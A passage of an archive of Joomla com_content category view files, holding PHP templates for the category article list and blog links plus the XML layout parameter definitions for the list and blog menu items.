					<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" title="<?php echo JText::_('COM_CONTENT_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo JText::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>" />
				<?php endif; ?>
			</div>
		<?php endif; ?>
		<?php if ($this->params->get('show_pagination_limit')) : ?>
			<div class="btn-group pull-right">
				<label for="limit" class="element-invisible">
					<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
				</label>
				<?php echo $this->pagination->getLimitBox(); ?>
			</div>
		<?php endif; ?>

		<input type="hidden" name="filter_order" value="" />
		<input type="hidden" name="filter_order_Dir" value="" />
		<input type="hidden" name="limitstart" value="" />
		<input type="hidden" name="task" value="" />
	</fieldset>

	<div class="control-group hide pull-right">
		<div class="controls">
			<button type="submit" name="filter_submit" class="btn btn-primary"><?php echo JText::_('COM_CONTENT_FORM_FILTER_SUBMIT'); ?></button>
		</div>
	</div>

<?php endif; ?>

<?php if (empty($this->items)) : ?>
	<?php if ($this->params->get('show_no_articles', 1)) : ?>
		<p><?php echo JText::_('COM_CONTENT_NO_ARTICLES'); ?></p>
	<?php endif; ?>
<?php else : ?>
	<table class="category table table-striped table-bordered table-hover<?php echo $tableClass; ?>">
		<caption class="hide"><?php echo JText::sprintf('COM_CONTENT_CATEGORY_LIST_TABLE_CAPTION', $this->category->title); ?></caption>
		<thead>
			<tr>
				<th scope="col" id="categorylist_header_title">
					<?php echo JHtml::_('grid.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder, null, 'asc', '', 'adminForm'); ?>
				</th>
				<?php if ($date = $this->params->get('list_show_date')) : ?>
					<th scope="col" id="categorylist_header_date">
						<?php if ($date === 'created') : ?>
							<?php echo JHtml::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.created', $listDirn, $listOrder); ?>
						<?php elseif ($date === 'modified') : ?>
							<?php echo JHtml::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.modified', $listDirn, $listOrder); ?>
						<?php elseif ($date === 'published') : ?>
							<?php echo JHtml::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.publish_up', $listDirn, $listOrder); ?>
						<?php endif; ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_author')) : ?>
					<th scope="col" id="categorylist_header_author">
						<?php echo JHtml::_('grid.sort', 'JAUTHOR', 'author', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_hits')) : ?>
					<th scope="col" id="categorylist_header_hits">
						<?php echo JHtml::_('grid.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
					<th scope="col" id="categorylist_header_votes">
						<?php echo JHtml::_('grid.sort', 'COM_CONTENT_VOTES', 'rating_count', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
					<th scope="col" id="categorylist_header_ratings">
						<?php echo JHtml::_('grid.sort', 'COM_CONTENT_RATINGS', 'rating', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($isEditable) : ?>
					<th scope="col" id="categorylist_header_edit"><?php echo JText::_('COM_CONTENT_EDIT_ITEM'); ?></th>
				<?php endif; ?>
			</tr>
		</thead>
		<tbody>
		<?php foreach ($this->items as $i => $article) : ?>
			<?php if ($this->items[$i]->state == 0) : ?>
				<tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
			<?php else : ?>
				<tr class="cat-list-row<?php echo $i % 2; ?>" >
			<?php endif; ?>
			<td headers="categorylist_header_title" class="list-title">
				<?php if (in_array($article->access, $this->user->getAuthorisedViewLevels())) : ?>
					<a href="<?php echo JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)); ?>">
						<?php echo $this->escape($article->title); ?>
					</a>
					<?php if (JLanguageAssociations::isEnabled() && $this->params->get('show_associations')) : ?>
						<?php $associations = ContentHelperAssociation::displayAssociations($article->id); ?>
						<?php foreach ($associations as $association) : ?>
							<?php if ($this->params->get('flags', 1) && $association['language']->image) : ?>
								<?php $flag = JHtml::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, array('title' => $association['language']->title_native), true); ?>
								&nbsp;<a href="<?php echo JRoute::_($association['item']); ?>"><?php echo $flag; ?></a>&nbsp;
							<?php else : ?>
								<?php $class = 'label label-association label-' . $association['language']->sef; ?>
								&nbsp;<a class="<?php echo $class; ?>" href="<?php echo JRoute::_($association['item']); ?>"><?php echo strtoupper($association['language']->sef); ?></a>&nbsp;
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>
				<?php else : ?>
					<?php
					echo $this->escape($article->title) . ' : ';
					$menu   = JFactory::getApplication()->getMenu();
					$active = $menu->getActive();
					$itemId = $active->id;
					$link   = new JUri(JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
					$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)));
					?>
					<a href="<?php echo $link; ?>" class="register">
						<?php echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
					</a>
					<?php if (JLanguageAssociations::isEnabled() && $this->params->get('show_associations')) : ?>
						<?php $associations = ContentHelperAssociation::displayAssociations($article->id); ?>
						<?php foreach ($associations as $association) : ?>
							<?php if ($this->params->get('flags', 1)) : ?>
								<?php $flag = JHtml::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, array('title' => $association['language']->title_native), true); ?>
								&nbsp;<a href="<?php echo JRoute::_($association['item']); ?>"><?php echo $flag; ?></a>&nbsp;
							<?php else : ?>
								<?php $class = 'label label-association label-' . $association['language']->sef; ?>
								&nbsp;<a class="' . <?php echo $class; ?> . '" href="<?php echo JRoute::_($association['item']); ?>"><?php echo strtoupper($association['language']->sef); ?></a>&nbsp;
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>
				<?php endif; ?>
				<?php if ($article->state == 0) : ?>
					<span class="list-published label label-warning">
								<?php echo JText::_('JUNPUBLISHED'); ?>
							</span>
				<?php endif; ?>
				<?php if ($article->publish_up > $currentDate) : ?>
					<span class="list-published label label-warning">
								<?php echo JText::_('JNOTPUBLISHEDYET'); ?>
							</span>
				<?php endif; ?>
				<?php if ($article->publish_down < $currentDate && $article->publish_down !== $nullDate) : ?>
					<span class="list-published label label-warning">
								<?php echo JText::_('JEXPIRED'); ?>
							</span>
				<?php endif; ?>
			</td>
			<?php if ($this->params->get('list_show_date')) : ?>
				<td headers="categorylist_header_date" class="list-date small">
					<?php
					echo JHtml::_(
						'date', $article->displayDate,
						$this->escape($this->params->get('date_format', JText::_('DATE_FORMAT_LC3')))
					); ?>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_author', 1)) : ?>
				<td headers="categorylist_header_author" class="list-author">
					<?php if (!empty($article->author) || !empty($article->created_by_alias)) : ?>
						<?php $author = $article->author ?>
						<?php $author = $article->created_by_alias ?: $author; ?>
						<?php if (!empty($article->contact_link) && $this->params->get('link_author') == true) : ?>
							<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY', JHtml::_('link', $article->contact_link, $author)); ?>
						<?php else : ?>
							<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
						<?php endif; ?>
					<?php endif; ?>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_hits', 1)) : ?>
				<td headers="categorylist_header_hits" class="list-hits">
							<span class="badge badge-info">
								<?php echo JText::sprintf('JGLOBAL_HITS_COUNT', $article->hits); ?>
							</span>
						</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
				<td headers="categorylist_header_votes" class="list-votes">
					<span class="badge badge-success">
						<?php echo JText::sprintf('COM_CONTENT_VOTES_COUNT', $article->rating_count); ?>
					</span>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
				<td headers="categorylist_header_ratings" class="list-ratings">
					<span class="badge badge-warning">
						<?php echo JText::sprintf('COM_CONTENT_RATINGS_COUNT', $article->rating); ?>
					</span>
				</td>
			<?php endif; ?>
			<?php if ($isEditable) : ?>
				<td headers="categorylist_header_edit" class="list-edit">
					<?php if ($article->params->get('access-edit')) : ?>
						<?php echo JHtml::_('icon.edit', $article, $article->params); ?>
					<?php endif; ?>
				</td>
			<?php endif; ?>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>
<?php endif; ?>

<?php // Code to add a link to submit an article. ?>
<?php if ($this->category->getParams()->get('access-create')) : ?>
	<?php echo JHtml::_('icon.create', $this->category, $this->category->params); ?>
<?php endif; ?>

<?php // Add pagination links ?>
<?php if (!empty($this->items)) : ?>
	<?php if (($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<div class="pagination">

			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<p class="counter pull-right">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</p>
			<?php endif; ?>

			<?php echo $this->pagination->getPagesLinks(); ?>
		</div>
	<?php endif; ?>
<?php endif; ?>
</form>
com_content/views/category/tmpl/default.php000060400000001023152453734450015143 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

JHtml::_('behavior.caption');
?>
<div class="category-list<?php echo $this->pageclass_sfx; ?>">

<?php
$this->subtemplatename = 'articles';
echo JLayoutHelper::render('joomla.content.category_default', $this);
?>

</div>
com_content/views/category/tmpl/default.xml000060400000042463152453734450015171 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_categories/models/fields"
		>
			<field 
				name="id"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_CHOOSE_CATEGORY_DESC"
				extension="com_content"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="filter_tag"
				type="tag"
				label="JTAG"
				description="JTAG_FIELD_SELECT_DESC"
				multiple="true"
				mode="nested"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">

			<field 
				name="show_category_title" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description_image" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="maxLevel" 
				type="list"
				label="JGLOBAL_MAXLEVEL_LABEL"
				description="JGLOBAL_MAXLEVEL_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
				name="show_empty_categories" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_no_articles" 
				type="list"
				label="COM_CONTENT_NO_ARTICLES_LABEL"
				description="COM_CONTENT_NO_ARTICLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_category_heading_title_text"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_num_articles" 
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_tags" 
				type="list"
				label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
				description="COM_CONTENT_FIELD_SHOW_CAT_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="page_subheading" 
				type="text"
				label="JGLOBAL_SUBHEADING_LABEL"
				description="JGLOBAL_SUBHEADING_DESC"
				size="20"
			/>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">
			<field 
				name="show_pagination_limit" 
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="filter_field" 
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				useglobal="true"
				>
				<option value="hide">JHIDE</option>
				<option value="title">JGLOBAL_TITLE</option>
				<option value="author">JAUTHOR</option>
				<option value="hits">JGLOBAL_HITS</option>
	 			<option value="tag">JTAG</option>
	 			<option value="month">JMONTH_PUBLISHED</option>
			</field>

			<field 
				name="show_headings" 
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="list_show_date" 
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				description="JGLOBAL_SHOW_DATE_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field 
				name="date_format" 
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
				size="15"
				useglobal="true"
			/>

			<field 
				name="list_show_hits" 
				type="list"
				label="JGLOBAL_LIST_HITS_LABEL"
				description="JGLOBAL_LIST_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="list_show_author" 
				type="list"
				label="JGLOBAL_LIST_AUTHOR_LABEL"
				description="JGLOBAL_LIST_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="list_show_votes"
				type="list"
				label="JGLOBAL_LIST_VOTES_LABEL"
				description="JGLOBAL_LIST_VOTES_DESC"
				class="btn-group btn-group-yesno"
				useglobal="true"
				>
				<option value="1" requires="vote">JSHOW</option>
				<option value="0" requires="vote">JHIDE</option>
			</field>

			<field 
				name="list_show_ratings"
				type="list"
				label="JGLOBAL_LIST_RATINGS_LABEL"
				description="JGLOBAL_LIST_RATINGS_DESC"
				class="btn-group btn-group-yesno"
				useglobal="true"
				>
				<option value="1" requires="vote">JSHOW</option>
				<option value="0" requires="vote">JHIDE</option>
			</field>

			<field
				name="spacer1"
				type="spacer"
				hr="true"
			/>

			<field 
				name="orderby_pri" 
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				description="JGLOBAL_CATEGORY_ORDER_DESC"
				useglobal="true"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field 
				name="orderby_sec" 
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				description="JGLOBAL_ARTICLE_ORDER_DESC"
				useglobal="true"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote"> JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field 
				name="order_date" 
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				description="JGLOBAL_ORDERING_DATE_DESC"
				useglobal="true"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field 
				name="show_pagination" 
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field 
				name="show_pagination_results" 
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="display_num" 
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				description="JGLOBAL_NUMBER_ITEMS_LIST_DESC"
				default="10"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field 
				name="show_featured" 
				type="list" 
				label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
				description="JGLOBAL_SHOW_FEATURED_ARTICLES_DESC"
				useglobal="true"
				default=""
				>
				<option value="show">JSHOW</option>
				<option value="hide">JHIDE</option>
				<option value="only">JONLY</option>
			</field>
		</fieldset>

		<fieldset name="article" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">

			<field
				name="article_layout" type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field 
				name="show_title" 
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				description="JGLOBAL_SHOW_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_titles" 
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_intro" 
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_category" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_category" 
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"				
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_parent_category" 
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_parent_category" 
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
			
			<field
				name="show_associations"
				type="list"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				description="JGLOBAL_SHOW_ASSOCIATIONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field 
				name="show_author" 
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_author" 
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_create_date" 
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_modify_date" 
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_publish_date" 
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_navigation" 
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote" 
				type="list"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				description="JGLOBAL_SHOW_VOTE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				description="JGLOBAL_SHOW_READMORE_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_icons" 
				type="list"
				label="JGLOBAL_SHOW_ICONS_LABEL"
				description="JGLOBAL_SHOW_ICONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_print_icon" 
				type="list"
				label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
				description="JGLOBAL_SHOW_PRINT_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_email_icon" 
				type="list"
				label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
				description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_hits" 
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_noauth" 
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>
		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">

			<field 
				name="show_feed_link" 
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="feed_summary" 
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				description="JGLOBAL_FEED_SUMMARY_DESC"
				useglobal="true"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_content/views/category/tmpl/blog_links.php000060400000001042152453734450015643 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<ol class="nav nav-tabs nav-stacked">
	<?php foreach ($this->link_items as &$item) : ?>
		<li>
			<a href="<?php echo JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
				<?php echo $item->title; ?></a>
		</li>
	<?php endforeach; ?>
</ol>
com_content/views/category/tmpl/blog.xml000060400000045715152453734450014473 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE" option="COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION">
		<help key = "JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG" />
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_BLOG_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_categories/models/fields"
		>
			<field
				name="id"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_CHOOSE_CATEGORY_DESC"
				extension="com_content"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="filter_tag"
				type="tag"
				label="JTAG"
				description="JTAG_FIELD_SELECT_DESC"
				multiple="true"
				mode="nested"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">
				<field
					name="layout_type"
					type="hidden"
					default="blog"
				/>

				<field
					name="show_category_heading_title_text"
					type="list"
	 				label="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL"
